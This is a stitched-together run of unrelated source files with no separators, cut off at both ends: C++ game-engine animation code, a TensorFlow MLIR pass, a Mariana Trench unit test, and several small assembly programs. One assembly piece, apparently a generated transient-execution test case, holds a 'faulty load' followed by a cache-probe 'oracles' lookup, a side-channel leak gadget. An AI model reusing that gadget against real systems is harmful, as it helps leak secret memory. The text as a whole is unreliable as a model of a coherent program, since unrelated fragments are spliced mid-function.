} } } } void AnimationState::SetBoneWeight(const String& name, float weight, bool recursive) { SetBoneWeight(GetTrackIndex(name), weight, recursive); } void AnimationState::SetBoneWeight(StringHash nameHash, float weight, bool recursive) { SetBoneWeight(GetTrackIndex(nameHash), weight, recursive); } void AnimationState::AddWeight(float delta) { if (delta == 0.0f) return; SetWeight(GetWeight() + delta); } void AnimationState::AddTime(float delta) { if (!animation_ || (!model_ && !node_)) return; float length = animation_->GetLength(); if (delta == 0.0f || length == 0.0f) return; bool sendFinishEvent = false; float oldTime = GetTime(); float time = oldTime + delta; if (looped_) { while (time >= length) { time -= length; sendFinishEvent = true; } while (time < 0.0f) { time += length; sendFinishEvent = true; } } SetTime(time); if (!looped_) { if (delta > 0.0f && oldTime < length && GetTime() == length) sendFinishEvent = true; else if (delta < 0.0f && oldTime > 0.0f && GetTime() == 0.0f) sendFinishEvent = true; } // Process finish event if (sendFinishEvent) { using namespace AnimationFinished; WeakPtr<AnimationState> self(this); WeakPtr<Node> senderNode(model_ ? model_->GetNode() : node_); VariantMap& eventData = senderNode->GetEventDataMap(); eventData[P_NODE] = senderNode; eventData[P_ANIMATION] = animation_; eventData[P_NAME] = animation_->GetAnimationName(); eventData[P_LOOPED] = looped_; // Note: this may cause arbitrary deletion of animation states, including the one we are currently processing senderNode->SendEvent(E_ANIMATIONFINISHED, eventData); if (senderNode.Expired() || self.Expired()) return; } // Process animation triggers if (animation_->GetNumTriggers()) { bool wrap = false; if (delta > 0.0f) { if (oldTime > time) { oldTime -= length; wrap = true; } } if (delta < 0.0f) { if (time > oldTime) { time -= length; wrap = true; } } if (oldTime > time) Swap(oldTime, time); const Vector<AnimationTriggerPoint>& triggers = animation_->GetTriggers(); for (Vector<AnimationTriggerPoint>::ConstIterator i = triggers.Begin(); i != triggers.End(); ++i) { float frameTime = i->time_; if (looped_ && wrap) frameTime = fmodf(frameTime, length); if (oldTime <= frameTime && time > frameTime) { using namespace AnimationTrigger; WeakPtr<AnimationState> self(this); WeakPtr<Node> senderNode(model_ ? model_->GetNode() : node_); VariantMap& eventData = senderNode->GetEventDataMap(); eventData[P_NODE] = senderNode; eventData[P_ANIMATION] = animation_; eventData[P_NAME] = animation_->GetAnimationName(); eventData[P_TIME] = i->time_; eventData[P_DATA] = i->data_; // Note: this may cause arbitrary deletion of animation states, including the one we are currently processing senderNode->SendEvent(E_ANIMATIONTRIGGER, eventData); if (senderNode.Expired() || self.Expired()) return; } } } } void AnimationState::SetLayer(unsigned char layer) { if (layer != layer_) { layer_ = layer; if (model_) model_->MarkAnimationOrderDirty(); } } AnimatedModel* AnimationState::GetModel() const { return model_; } Node* AnimationState::GetNode() const { return node_; } Bone* AnimationState::GetStartBone() const { return model_ ? startBone_ : nullptr; } float AnimationState::GetBoneWeight(unsigned index) const { return index < stateTracks_.Size() ? stateTracks_[index].weight_ : 0.0f; } float AnimationState::GetBoneWeight(const String& name) const { return GetBoneWeight(GetTrackIndex(name)); } float AnimationState::GetBoneWeight(StringHash nameHash) const { return GetBoneWeight(GetTrackIndex(nameHash)); } unsigned AnimationState::GetTrackIndex(const String& name) const { for (unsigned i = 0; i < stateTracks_.Size(); ++i) { Node* node = stateTracks_[i].node_; if (node && node->GetName() == name) return i; } return M_MAX_UNSIGNED; } unsigned AnimationState::GetTrackIndex(Node* node) const { for (unsigned i = 0; i < stateTracks_.Size(); ++i) { if (stateTracks_[i].node_ == node) return i; } return M_MAX_UNSIGNED; } unsigned AnimationState::GetTrackIndex(StringHash nameHash) const { for (unsigned i = 0; i < stateTracks_.Size(); ++i) { Node* node = stateTracks_[i].node_; if (node && node->GetNameHash() == nameHash) return i; } return M_MAX_UNSIGNED; } float AnimationState::GetLength() const { return animation_ ? animation_->GetLength() : 0.0f; } void AnimationState::Apply() { if (!animation_ || !IsEnabled()) return; if (model_) ApplyToModel(); else ApplyToNodes(); } void AnimationState::ApplyToModel() { for (Vector<AnimationStateTrack>::Iterator i = stateTracks_.Begin(); i != stateTracks_.End(); ++i) { AnimationStateTrack& stateTrack = *i; float finalWeight = weight_ * stateTrack.weight_; // Do not apply if zero effective weight or the bone has animation disabled if (Equals(finalWeight, 0.0f) || !stateTrack.bone_->animated_) continue; ApplyTrack(stateTrack, finalWeight, true); } } void AnimationState::ApplyToNodes() { // When applying to a node hierarchy, can only use full weight (nothing to blend to) for (Vector<AnimationStateTrack>::Iterator i = stateTracks_.Begin(); i != stateTracks_.End(); ++i) ApplyTrack(*i, 1.0f, false); } void AnimationState::ApplyTrack(AnimationStateTrack& stateTrack, float weight, bool silent) { const AnimationTrack* track = stateTrack.track_; Node* node = stateTrack.node_; if (track->keyFrames_.Empty() || !node) return; unsigned& frame = stateTrack.keyFrame_; track->GetKeyFrameIndex(time_, frame); // Check if next frame to interpolate to is valid, or if wrapping is needed (looping animation only) unsigned nextFrame = frame + 1; bool interpolate = true; if (nextFrame >= track->keyFrames_.Size()) { if (!looped_) { nextFrame = frame; interpolate = false; } else nextFrame = 0; } const AnimationKeyFrame* keyFrame = &track->keyFrames_[frame]; const AnimationChannelFlags channelMask = track->channelMask_; Vector3 newPosition; Quaternion newRotation; Vector3 newScale; if (interpolate) { const AnimationKeyFrame* nextKeyFrame = &track->keyFrames_[nextFrame]; float timeInterval = nextKeyFrame->time_ - keyFrame->time_; if (timeInterval < 0.0f) timeInterval += animation_->GetLength(); float t = timeInterval > 0.0f ? (time_ - keyFrame->time_) / timeInterval : 1.0f; if (channelMask & CHANNEL_POSITION) newPosition = keyFrame->position_.Lerp(nextKeyFrame->position_, t); if (channelMask & CHANNEL_ROTATION) newRotation = keyFrame->rotation_.Slerp(nextKeyFrame->rotation_, t); if (channelMask & CHANNEL_SCALE) newScale = keyFrame->scale_.Lerp(nextKeyFrame->scale_, t); } else { if (channelMask & CHANNEL_POSITION) newPosition = keyFrame->position_; if (channelMask & CHANNEL_ROTATION) newRotation = keyFrame->rotation_; if (channelMask & CHANNEL_SCALE) newScale = keyFrame->scale_; } if (blendingMode_ == ABM_ADDITIVE) // not ABM_LERP { if (channelMask & CHANNEL_POSITION) { Vector3 delta = newPosition - stateTrack.bone_->initialPosition_; newPosition = node->GetPosition() + delta * weight; } if (channelMask & CHANNEL_ROTATION) { Quaternion delta = newRotation * stateTrack.bone_->initialRotation_.Inverse(); newRotation = (delta * node->GetRotation()).Normalized(); if (!Equals(weight, 1.0f)) newRotation = node->GetRotation().Slerp(newRotation, weight); } if (channelMask & CHANNEL_SCALE) { Vector3 delta = newScale - stateTrack.bone_->initialScale_; newScale = node->GetScale() + delta * weight; } } else { if (!Equals(weight, 1.0f)) // not full weight { if (channelMask & CHANNEL_POSITION) newPosition = node->GetPosition().Lerp(newPosition, weight); if (channelMask & CHANNEL_ROTATION) newRotation = node->GetRotation().Slerp(newRotation, weight); if (channelMask & CHANNEL_SCALE) newScale = node->GetScale().Lerp(newScale, weight); } } if (silent) { if (channelMask & CHANNEL_POSITION) node->SetPositionSilent(newPosition); if (channelMask & CHANNEL_ROTATION) node->SetRotationSilent(newRotation); if (channelMask & CHANNEL_SCALE) node->SetScaleSilent(newScale); } else { if (channelMask & CHANNEL_POSITION) node->SetPosition(newPosition); if (channelMask & CHANNEL_ROTATION) node->SetRotation(newRotation); if (channelMask & CHANNEL_SCALE) node->SetScale(newScale); } } }
/* Copyright 2021 The TensorFlow Authors. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ==============================================================================*/ #include <utility> #include "mlir/Dialect/StandardOps/IR/Ops.h" // from @llvm-project #include "mlir/IR/Attributes.h" // from @llvm-project #include "mlir/IR/Builders.h" // from @llvm-project #include "mlir/IR/BuiltinAttributes.h" // from @llvm-project #include "mlir/IR/BuiltinTypes.h" // from @llvm-project #include "mlir/IR/MLIRContext.h" // from @llvm-project #include "mlir/IR/Operation.h" // from @llvm-project #include "mlir/IR/Visitors.h" // from @llvm-project #include "mlir/Pass/Pass.h" // from @llvm-project #include "mlir/Transforms/DialectConversion.h" // from @llvm-project #include "tensorflow/compiler/mlir/lite/ir/tfl_ops.h" #include "tensorflow/compiler/mlir/lite/transforms/passes.h" #include "tensorflow/compiler/mlir/tensorflow/ir/tf_ops.h" #include "tensorflow/compiler/mlir/tensorflow/ir/tf_ops_n_z.h" namespace mlir { namespace TFL { namespace { // The threshold of constant bits to be unfolded (1Mb). If there is a splat // constant with size equal or greater to this threshold, then it will be // unfolded back to a regular `tfl.fill` operation. constexpr int64_t kConstantSizeThresholdInBits = 1e+6; // Pass which will replace large splat constant tensors to `tfl.Fill` op to // reduce the size of the generated flatbuffer model size. class UnfoldLargeSplatConstant : public PassWrapper<UnfoldLargeSplatConstant, OperationPass<ModuleOp>> { public: void getDependentDialects(DialectRegistry& registry) const override { registry.insert<TFL::TensorFlowLiteDialect>(); } StringRef getArgument() const final { // This is the argument used to refer to the pass in // the textual format (on the commandline for example). return "tfl-unfold-large-splat-constant"; } StringRef getDescription() const final { // This is a brief description of the pass. return "Unfold large splat constant tensors"; } void runOnOperation() override { auto module = getOperation(); mlir::OpBuilder op_builder(&module.body()); module.walk([&](mlir::ConstantOp const_op) { MaybeUnfoldLargeSplatConstant(&op_builder, const_op); }); } private: void MaybeUnfoldLargeSplatConstant(mlir::OpBuilder* op_builder, mlir::ConstantOp const_op) const { auto splat_elements_attr = const_op.value().dyn_cast<SplatElementsAttr>(); if (!splat_elements_attr) { return; } auto element_type = splat_elements_attr.getType().getElementType(); if (!(element_type.isF32() || element_type.isInteger(1) || element_type.isInteger(32) || element_type.isInteger(64))) { return; } if (splat_elements_attr.getNumElements() * splat_elements_attr.getType().getElementTypeBitWidth() < kConstantSizeThresholdInBits) { return; } op_builder->setInsertionPoint(const_op); mlir::ConstantOp fill_shape = op_builder->create<mlir::ConstantOp>( const_op->getLoc(), DenseIntElementsAttr::get( RankedTensorType::get({splat_elements_attr.getType().getRank()}, op_builder->getI64Type()), splat_elements_attr.getType().getShape())); mlir::ConstantOp fill_value = op_builder->create<mlir::ConstantOp>( const_op->getLoc(), DenseElementsAttr::get( RankedTensorType::get( {}, splat_elements_attr.getType().getElementType()), splat_elements_attr.getSplatValue())); TFL::FillOp fill = op_builder->create<TFL::FillOp>( const_op->getLoc(), splat_elements_attr.getType(), fill_shape, fill_value); const_op->replaceAllUsesWith(fill); const_op->erase(); } }; } // namespace std::unique_ptr<OperationPass<ModuleOp>> CreateUnfoldLargeSplatConstantPass() { return std::make_unique<UnfoldLargeSplatConstant>(); } static PassRegistration<UnfoldLargeSplatConstant> pass; } // namespace TFL } // namespace mlir
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %rax push %rbx push %rcx push %rdi push %rsi lea addresses_D_ht+0x18391, %rax nop nop nop nop nop and $2534, %r11 movups (%rax), %xmm5 vpextrq $0, %xmm5, %rsi nop nop nop nop cmp %rsi, %rsi lea addresses_normal_ht+0x122b1, %rsi lea addresses_WT_ht+0x13129, %rdi nop nop add %rbx, %rbx mov $127, %rcx rep movsl nop nop nop nop cmp %rax, %rax lea addresses_WC_ht+0x5951, %rsi nop xor %r13, %r13 movw $0x6162, (%rsi) nop nop nop cmp %rsi, %rsi lea addresses_A_ht+0x9651, %r13 nop nop sub $21035, %rsi mov (%r13), %eax lfence lea addresses_A_ht+0x10e51, %rdi nop cmp %rax, %rax mov $0x6162636465666768, %r13 movq %r13, %xmm1 movups %xmm1, (%rdi) nop nop nop nop nop dec %r11 lea addresses_normal_ht+0x9351, %rax sub %rsi, %rsi movb $0x61, (%rax) nop nop nop nop nop and $53744, %rax pop %rsi pop %rdi pop %rcx pop %rbx pop %rax pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r14 push %r15 push %r9 push %rbx push %rdx push %rsi // Load lea addresses_A+0xf551, %r11 nop nop nop nop sub %rsi, %rsi mov (%r11), %r14 nop nop and $41578, %r11 // Store lea addresses_WT+0xa5b1, %r15 nop nop nop cmp %rbx, %rbx mov $0x5152535455565758, %r11 movq %r11, (%r15) nop nop add %r11, %r11 // Store lea addresses_WT+0x1951, %r11 nop xor $63776, %rdx mov $0x5152535455565758, %r14 movq %r14, %xmm6 vmovups %ymm6, (%r11) nop nop nop nop sub %rdx, %rdx // Store lea addresses_RW+0x92c1, %r14 nop mfence mov $0x5152535455565758, %rbx movq %rbx, %xmm5 vmovups %ymm5, (%r14) sub $50067, %r11 // Store mov $0x4070950000000c51, %rsi nop nop dec %rdx mov $0x5152535455565758, %r15 movq %r15, %xmm2 movups %xmm2, (%rsi) nop cmp %rbx, %rbx // Faulty Load lea addresses_A+0xf551, %r14 nop nop nop nop nop xor %rsi, %rsi movb (%r14), %r15b lea oracles, %r14 and $0xff, %r15 shlq $12, %r15 mov (%r14,%r15,1), %r15 pop %rsi pop %rdx pop %rbx pop %r9 pop %r15 pop %r14 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_A', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_A', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_WT', 'size': 8, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_WT', 'size': 32, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_RW', 'size': 32, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_NC', 'size': 16, 'AVXalign': False}} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_A', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False}} {'src': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False}} {'35': 21829} 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 */
; Compile with: NASM -fbin cpuid_1.asm BITS 64 ; Avoids nasm putting the OPCODE prefix (66h) mov eax, 1 cpuid
bits 64 default rel section .text global pal_execute_read_mem64 pal_execute_read_mem64 : mov rax, QWORD [rdi] ret
define TIFS_SECTOR_FLAG $F0 define TIFS_SECTOR_BASE $0C0000 define TIFS_SECTOR_COUNT $34 ; valid 0FCh ; valid 0FFh ; valid 0F0h define TIFS_FILE_VALID $FC define TIFS_FILE_DELETED $F0 define TIFS_FILE_CORRUPTED $FE define TIFS_FILE_FLAG 0 define TIFS_FILE_SIZE 1 ; doesnt take in count the small offset, so base size off the next adress of this field define TIFS_FILE_TYPE 3 define TIFS_FILE_ATTRIBUTE 4 define TIFS_FILE_VERSION 5 define TIFS_FILE_ADRESS 6 define TIFS_FILE_NAME_SIZE 9 define TIFS_FILE_NAME 10 define TIFS_TYPE_GDB 1 define TIFS_TYPE_STRING 4 define TIFS_TYPE_EXE 5 define TIFS_TYPE_PROT_EXE 6 define TIFS_TYPE_PICTURE 7 define TIFS_TYPE_APPV 21 define TIFS_TYPE_GROUP 23 define TIFS_TYPE_IMAGE 26 tifs: .phy_mem_ops: jp .phy_read ret dl $0 jp .phy_sync ret ; phy_read_inode (from backing device) ; not supported dl $0 ret ; phy_sync_inode ; not supported (no inode data written) dl $00 jp .phy_destroy .phy_read: ldir ret .phy_sync: ; tifs work by finding a free spot somewhere and write the file here (also droping the previous file) ; if all spot are filed, garbage collect and retry (kinda inefficient indeed) ret .phy_destroy: ; marking the variable as removed in flash ; iy = inode ; reading the first value of the first block is okay since tifs write file in-order ld ix, (iy+KERNEL_VFS_INODE_DMA_DATA) ld ix, (ix+KERNEL_VFS_INODE_DMA_POINTER) ; hl is pointer to flash memory ; back search the begin of the variable lea hl, ix-3 lea de, ix-9 .field_search: ; search the TIFS_FILE_ADRESS field by checking if de = bc ld bc, (hl) ex de, hl or a, a sbc hl, bc add hl, bc dec hl dec de jr nz, .field_search ; hl is the TIFS_FILE_ADRESS, bc is the base adress ; so write $F0 to bc adress with flash routine ld de, .delete_byte or a, a sbc hl, hl add hl, bc ex de, hl ld bc, 1 jp flash.phy_write .delete_byte: db $F0 .path: db "/tifs/", 0 .mount: ld hl, kmem_cache_s16 call kmem.cache_alloc ret c ; this will be our temporary buffer for path ex de, hl ld iy, 0 lea bc, iy+6 add iy, de push de ld hl, .path ldir ld hl, .path ld c, KERNEL_VFS_PERMISSION_RWX call kvfs.mkdir pop iy ret c ; goes each page and search ld b, TIFS_SECTOR_COUNT ld hl, TIFS_SECTOR_BASE .mount_parse: push bc ; create an inode for each file found and fill it ld a, (hl) cp a, TIFS_SECTOR_FLAG jr nz, .mount_invalid_sector inc hl push hl .mount_parse_sector: ld a, (hl) ; unexpected value, quit current sector inc hl inc.s bc ld c, (hl) inc hl ld b, (hl) inc hl cp a, TIFS_FILE_VALID jr z, .mount_add_file ; mount_skip_file add hl, bc cp a, TIFS_FILE_DELETED jr z, .mount_parse_sector pop hl .mount_invalid_sector: ld bc, 65536 add hl, bc ld h, b ld l, c pop bc djnz .mount_parse lea hl, iy+0 jp kfree .mount_add_file: push hl add hl, bc ex (sp), hl ld a, (hl) ; file type ld bc, 6 add hl, bc ; goes directly to NAME ld c, (hl) ; size name inc c dec c jr z, .mount_strange_file ; copy file name to our temporary buffer lea de, iy+6 inc hl ldir ; blit a zero to be a null terminated string \*/ ex de, hl ld (hl), c ex de, hl ; iy is our file name, let's create inode ; a = file type, hl = data ; offset based on the type ? ld c, (hl) inc hl ld b, (hl) cp a, TIFS_TYPE_APPV jr z, .mount_appv cp a, TIFS_TYPE_EXE jr z, .mount_exec cp a, TIFS_TYPE_PROT_EXE ; unknown file type for now jr nz, .mount_strange_file .mount_exec: inc hl dec.s bc dec bc push bc ; skip $EF7B identifier of 8xp exectuable inc hl ld bc, KERNEL_VFS_PERMISSION_RX .mount_create_inode: inc hl push hl lea hl, iy+0 ld a, KERNEL_VFS_TYPE_FILE or KERNEL_VFS_CAPABILITY_DMA push hl call kvfs.inode_create pop ix pop de pop hl jr c, .mount_error_file push ix ; fill in the inode ; size is hl, start of data is de ; allocate indirect block and fill them with data ld (iy+KERNEL_VFS_INODE_SIZE), hl ld bc, .phy_mem_ops ld (iy+KERNEL_VFS_INODE_OP), bc pea iy+KERNEL_VFS_INODE_ATOMIC_LOCK call .mount_data pop hl ; and let go of the lock ; lea hl, iy+KERNEL_VFS_INODE_ATOMIC_LOCK call atomic_rw.unlock_write pop iy .mount_strange_file: pop hl jp .mount_parse_sector .mount_error_file: pop hl pop hl pop bc ret .mount_appv: push bc ; RO fs for now ld bc, KERNEL_VFS_PERMISSION_R jr .mount_create_inode .mount_data: ; hl is size of file, de is disk adress, iy is inode lea iy, iy+KERNEL_VFS_INODE_DATA ld bc, 1024 .do_data: push hl ld hl, kmem_cache_s64 call kmem.cache_alloc ld (iy+0), hl ld ix, (iy+0) lea iy, iy+3 pop hl ld a, 16 .do_data_inner: ld (ix+1), de lea ix, ix+4 ex de, hl add hl, bc ex de, hl sbc hl, bc ret c dec a jr nz, .do_data_inner jr .do_data
; A010718: Periodic sequence: repeat [5, 7]. ; Submitted by Christian Krause ; 5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5,7,5 mod $0,2 mul $0,2 add $0,5
/* * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */ #include <gmock/gmock.h> #include <PatriciaTreeSetAbstractDomain.h> #include <Show.h> #include <mariana-trench/AbstractTreeDomain.h> #include <mariana-trench/Redex.h> #include <mariana-trench/TaintTree.h> #include <mariana-trench/tests/Test.h> namespace marianatrench { class AbstractTreeDomainTest : public test::Test {}; using IntSet = sparta::PatriciaTreeSetAbstractDomain<unsigned>; using IntSetTree = AbstractTreeDomain<IntSet>; TEST_F(AbstractTreeDomainTest, DefaultConstructor) { EXPECT_TRUE(IntSetTree().is_bottom()); EXPECT_TRUE(IntSetTree().root().is_bottom()); EXPECT_TRUE(IntSetTree().successors().empty()); } TEST_F(AbstractTreeDomainTest, WriteElementsWeak) { const auto* x = DexString::make_string("x"); const auto* y = DexString::make_string("y"); const auto* z = DexString::make_string("z"); auto tree = IntSetTree{IntSet{1}}; EXPECT_FALSE(tree.is_bottom()); EXPECT_EQ(tree.root(), IntSet{1}); EXPECT_TRUE(tree.successors().empty()); EXPECT_TRUE(tree.successor(x).is_bottom()); tree.write(Path{}, IntSet{2}, UpdateKind::Weak); EXPECT_FALSE(tree.is_bottom()); EXPECT_EQ(tree.root(), (IntSet{1, 2})); EXPECT_TRUE(tree.successors().empty()); tree.write(Path{x}, IntSet{3, 4}, UpdateKind::Weak); EXPECT_FALSE(tree.is_bottom()); EXPECT_EQ(tree.root(), (IntSet{1, 2})); EXPECT_EQ(tree.successors().size(), 1); EXPECT_EQ(tree.successor(x).root(), (IntSet{3, 4})); EXPECT_TRUE(tree.successor(x).successors().empty()); tree.write(Path{y}, IntSet{5, 6}, UpdateKind::Weak); EXPECT_FALSE(tree.is_bottom()); EXPECT_EQ(tree.root(), (IntSet{1, 2})); EXPECT_EQ(tree.successors().size(), 2); EXPECT_EQ(tree.successor(x), (IntSetTree{IntSet{3, 4}})); EXPECT_EQ(tree.successor(y), (IntSetTree{IntSet{5, 6}})); // Ignore elements already present on the root. tree.write(Path{y}, IntSet{2}, UpdateKind::Weak); EXPECT_FALSE(tree.is_bottom()); EXPECT_EQ(tree.root(), (IntSet{1, 2})); EXPECT_EQ(tree.successors().size(), 2); EXPECT_EQ(tree.successor(x), (IntSetTree{IntSet{3, 4}})); EXPECT_EQ(tree.successor(y), (IntSetTree{IntSet{5, 6}})); // Ignore elements already present on the path. tree.write(Path{x, z}, IntSet{4}, UpdateKind::Weak); EXPECT_FALSE(tree.is_bottom()); EXPECT_EQ(tree.root(), (IntSet{1, 2})); EXPECT_EQ(tree.successors().size(), 2); EXPECT_EQ(tree.successor(x), (IntSetTree{IntSet{3, 4}})); EXPECT_EQ(tree.successor(y), (IntSetTree{IntSet{5, 6}})); // Ignore elements already present on the path, within different nodes. tree.write(Path{x, z}, IntSet{1, 3}, UpdateKind::Weak); EXPECT_FALSE(tree.is_bottom()); EXPECT_EQ(tree.root(), (IntSet{1, 2})); EXPECT_EQ(tree.successors().size(), 2); EXPECT_EQ(tree.successor(x), (IntSetTree{IntSet{3, 4}})); EXPECT_EQ(tree.successor(y), (IntSetTree{IntSet{5, 6}})); tree.write(Path{x, z}, IntSet{1, 3, 5, 7}, UpdateKind::Weak); EXPECT_FALSE(tree.is_bottom()); EXPECT_EQ(tree.root(), (IntSet{1, 2})); EXPECT_EQ(tree.successors().size(), 2); EXPECT_EQ(tree.successor(x).root(), (IntSet{3, 4})); EXPECT_EQ(tree.successor(x).successors().size(), 1); EXPECT_EQ(tree.successor(x).successor(z), (IntSetTree{IntSet{5, 7}})); EXPECT_EQ(tree.successor(y), (IntSetTree{IntSet{5, 6}})); // Children are pruned. tree.write(Path{x}, IntSet{5, 9, 10}, UpdateKind::Weak); EXPECT_FALSE(tree.is_bottom()); EXPECT_EQ(tree.root(), (IntSet{1, 2})); EXPECT_EQ(tree.successors().size(), 2); EXPECT_EQ(tree.successor(x).root(), (IntSet{3, 4, 5, 9, 10})); EXPECT_EQ(tree.successor(x).successors().size(), 1); EXPECT_EQ(tree.successor(x).successor(z), (IntSetTree{IntSet{7}})); EXPECT_EQ(tree.successor(y), (IntSetTree{IntSet{5, 6}})); // Newly introduced nodes are set to bottom. tree = IntSetTree{{Path{x, y}, IntSet{1}}}; EXPECT_FALSE(tree.is_bottom()); EXPECT_TRUE(tree.root().is_bottom()); EXPECT_EQ(tree.successors().size(), 1); EXPECT_TRUE(tree.successor(x).root().is_bottom()); EXPECT_EQ(tree.successor(x).successors().size(), 1); EXPECT_EQ(tree.successor(x).successor(y), (IntSetTree{IntSet{1}})); } TEST_F(AbstractTreeDomainTest, WriteElementsStrong) { const auto* x = DexString::make_string("x"); const auto* y = DexString::make_string("y"); const auto* z = DexString::make_string("z"); auto tree = IntSetTree{IntSet{1}}; tree.write(Path{}, IntSet{2}, UpdateKind::Strong); EXPECT_FALSE(tree.is_bottom()); EXPECT_EQ(tree.root(), (IntSet{2})); EXPECT_TRUE(tree.successors().empty()); tree.write(Path{x}, IntSet{3, 4}, UpdateKind::Strong); EXPECT_FALSE(tree.is_bottom()); EXPECT_EQ(tree.root(), (IntSet{2})); 